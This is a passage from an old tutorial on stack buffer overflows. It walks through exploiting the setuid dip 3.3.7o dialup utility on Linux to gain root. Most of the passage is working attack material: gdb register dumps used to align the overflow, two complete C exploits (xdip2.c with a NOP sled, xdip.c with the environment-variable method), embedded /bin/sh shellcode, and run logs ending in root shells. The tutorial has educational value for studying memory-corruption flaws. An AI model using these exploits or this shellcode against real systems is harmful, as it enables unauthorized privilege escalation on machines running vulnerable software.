DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open
/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDA
BCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory

Program received signal SIGSEGV, Segmentation fault.
0x444342 in ?? ()
(gdb)
(gdb) i r
eax            0xb4     180
ecx            0xb4     180
edx            0x0      0
ebx            0x1      1
esp            0xbffffcd4       0xbffffcd4
ebp            0x41444342       0x41444342
esi            0x4      4
edi            0x805419e        134562206
eip            0x444342 0x444342
eflags         0x10246  66118
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x2b     43
gs             0x2b     43
(gdb)
```

As you can see here, the stack pointer (ESP) and the saved return address has been overwritten by our string "ABCD". In Ascii;

A is 0x41, B is 0x42, C is 0x43, D is 0x44

Note the base pointer register, it's:

```
ebp            0x41444342       0x41444342
```

The value here is ADCB. That means we could't align the string. We need to shift the string one byte left so that the ABCD fits one 4-byte memory cell. This way:

```
(gdb) set args -k -l A`perl -e 'print "ABCD" x 30'`
(gdb) r
Starting program: /usr/sbin/dip -k -l A`perl -e 'print "ABCD" x 30'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open
/var/lock/LCK..AABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory

Program received signal SIGSEGV, Segmentation fault.
0x44434241 in ?? ()
(gdb) i r
eax            0xb5     181
ecx            0xb5     181
edx            0x0      0
ebx            0x1      1
esp            0xbffffcd4       0xbffffcd4
ebp            0x44434241       0x44434241
esi            0x4      4
edi            0x805419e        134562206
eip            0x44434241       0x44434241
eflags         0x10246  66118
```

```
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x2b     43
gs             0x2b     43
(gdb)
```

As you can see, we added one more A to the beginning of our buffer, and now both the EIP and EBP registers are: 0x44434241, namely we could align our string.

I'll write two exploits. Each one will be with a different method. The first one will be the "classical technique" and the other one will be env technique. When you compare the two, you'll easily see the difference between, and understand it is unnecessary to try to guess strange offsets. Please be aware that env method is only useful if the vulnerability is local.

Here is the one with the Classical Method:

```
----------------------------- xdip2.c -----------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUF 130
#define NOP 0x90
#define ALIGN 1

char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

unsigned long getesp()
{
        __asm__("movl %esp, %eax");
}

void main(int argc, char *argv[])
{
        int ret, i, n;
        char *arg[5], buf[BUF];
        int *ap;

        if (argc < 2)
                ret = 0xbfffd779;
        else
                ret = getesp() - atoi(argv[1]);

        ap = (int *)(buf + ALIGN);

        for (i = 0 ; i < BUF; i += 4)
                *ap++ = ret;

        for (i = 0; i < BUF / 2; i++)
                buf[i] = NOP;

        for (n = 0; n < strlen(sc); n++)
                buf[i++] = sc[n];

        arg[0] = "/usr/sbin/dip";
        arg[1] = "-k";
        arg[2] = "-l";
        arg[3] = buf;
        arg[4] = NULL;
```

```
        execve(arg[0], arg, NULL);
        perror(execve);
}
---------------------------- xdip2.c ----------------------------------
```

Lemme go over the exploit:

We define our buffer to be 130 bytes long, because a 121 byte array is enough for us, define the opcode for NULL operation instruction to be 0x90, and Alignment to be 1. Remember what we did above to find the alignment?

```
#define BUF 130
#define NOP 0x90
#define ALIGN 1
```

You already know below is our shell spawning code:

```
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
```

This routine returns the value of Stack pointer. As I told you before, this is not the vulnerable program's ESP. It's our exploits ESP, and we use this value just to have an idea of where in memory the stack pointer of the vulnerable program might be. It's just to have a range in mind:

```
unsigned long getesp()
{
        __asm__("movl %esp, %eax");
}
```

Our main():
arg[5] is for execve(), buf[] is what we'll feed the vulnerable buffer with.
*ap (stands for address pointer) is to play with the address of buf[].

```
void main(int argc, char *argv[])
{
        int ret, i, n;
        char *arg[5], buf[BUF];
        int *ap;
```

If the "exploit user" enters some value as an offset, we subtract that value from the "hint esp", if not we use 0xbfffd779 as the address of shellcode. I found this address while playing with dip in gdb. It's a pre-known value.

```
        if (argc < 2)
                ret = 0xbfffd779;
        else
                ret = getesp() - atoi(argv[1]);
```

We make the address pointer to point to the buf + ALIGNMENT address:

```
        ap = (int *)(buf + ALIGNMENT);
```

After we aligned our buffer, we first place the return address into the whole buffer:

```
        for (i = 0 ; i < BUF; i += 4)
                *ap++ = ret;
```

We pad some NULL operation instructions to the first half of the buffer:

```
        for (i = 0; i < BUF / 2; i++)
                buf[i] = NOP;
```

After NOPS, we place our shellcode:

```
        for (n = 0; n < strlen(sc); n++)
                buf[i++] = sc[n];
```

We prepare the arguments array for execve() read the manual page for execve if you cannot understand this:

```
        arg[0] = "/usr/sbin/dip";
```

```
        arg[1] = "-k";
        arg[2] = "-l";
        arg[3] = buf;
        arg[4] = NULL;
```

Note above that we supply buf to the -l switch.

Then we execve(), if an error occurs, we get the error via perror():

```
        execve(arg[0], arg, NULL);
        perror(execve);

}
```

Let's run:

```
[murat@victim murat]$ make xdip2
[murat@victim murat]$ ./xdip2
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open /var/lock/LCK..sh#
[murat@victim murat]$ make xdip2
make: `xdip2' is up to date.
[murat@victim murat]$ ./xdip2
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open /var/lock/LCK..
bash#
```

If we didn't know the exact address, we needed to guess offsets. Let's assume that we don't know the address:

Let's first try -400 as offset:

```
[murat@victim murat]$ ./xdip2 -400
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open
/var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~~P~P~P~P~P~P~P~P
~P~P~P~P~P~~P~P~P~P~P

��: No such file or directory
Segmentation fault
[murat@victim murat]$
```

Uh-uh, lets try -350:

```
[murat@victim murat]$ ./xdip2 -350
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open
/var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~~P~P~P~P~P~P~P~P
~P~P~P~P~P~~P~P~P~P~P

��: No such file or directory
Illegal Instruction
[murat@victim murat]$
```

Let's make another guess:

```
[murat@victim murat]$ ./xdip2 -300
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
```

```
DIP: cannot open
/var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~~P~P~P~P~P~P~P~P
~P~P~P~P~P~~P~P~P~P~P
��: No such file or directory
bash#
```

Voila!

However,as you can see, guessing the correct offset can be very tiresome.

Now the env method:

```
-------------------------------------- xdip.c ------------------------
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define BUFSIZE 221
#define ALIGNMENT 1

char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

void main()
{
        char *env[3] = {sc, NULL};
        char buf[BUFSIZE];
        int i;
        int *ap = (int *)(buf + ALIGNMENT);
        int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip");

        for (i = 0; i < BUFSIZE - 4; i += 4)
                *ap++ = ret;

        execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);
}

-------------------------------------- xdip.c ------------------------
```

Lemme go over the exploit:

Our main(). We have an array of character pointers. Because we can calculate the address of environment pointers, we put the shellcode to first environment variable's place.

```
void main()
{
        char *env[2] = {sc, NULL};
        char buf[BUFSIZE];
        int i;
```

Address pointer points to the aligned address of buffer:

```
        int *ap = (int *)(buf + ALIGNMENT);
```

We calculate the address of our shellcode. For details about how we calculate the address, see above:

```
        int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip");
```

Starting from the aligned first address of buffer, we put the address of shellcode's calculated address. We increase i by four, because when we increase a pointer by one, it means we increase it by four bytes:

```
        for (i = 0; i < BUFSIZE - 4; i += 4)
                *ap++ = ret;
```

```
Then we execle() the vulnerable program:
        execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);
}
```

Because there are no tries and no guesses, in the first try, we get root!:

```
[murat@victim murat]$ ./xdip
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open
/var/lock/LCK..h�������������������������������������������
��������������������������������������������
�������������������������������:
No such file or directory
bash#
```

So, the basic differences between those two methods can be listed as:

Item	Aleph1's method	env method
vulnerable buffer	half of the buffer is filled by NOPs, then the shellcode, then the address.	the whole buffer is filled with address.
placement of sc	we place sc in the vulnerable buffer	we place the sc in env ptr that is passed to execve()
sc's address	we try to guess the address of sc	we *know* the address of sc
small buffers	if sc doesn't fit in the buffer, hard to exploit. You'll need to guess the addr of env ptr, if you choose to put sc in env ptr.	Since we already don't place the sc in the buffer, it does not matter. Just 4 bytes is enough!
Diffic. Level	somewhat harder	easier!

+ Last Words and Greetings +

This document was in fact written in Turkish. Since there were two many requests that it be translated into English or some other language, and the fact that env method still remains undocumented, and that I thought that It would be a good idea to prepare such a document in English, introducing a more understandable shellcode etc, I wrote this document. There may be some vague points that needs to be clarified or even some misinformation that needs to be corrected. If you happen to meet one, drop me an email and I'll correct it. Thanks in advance.

- Murat Balaban

Greetings: a, matsuri, gargoyle

References:
----
0. PC Assembly Book by Paul A. Carter. (http://www.drpaulcarter.com/pcasm/)

1. "Smashing the Stack for Fun and Profit" by Aleph1
2. I've seen the shellcode I discussed here in several places. I really don't know who wrote it first. If you happen to know him/her, please inform me about this, so that I can give the necessary credit.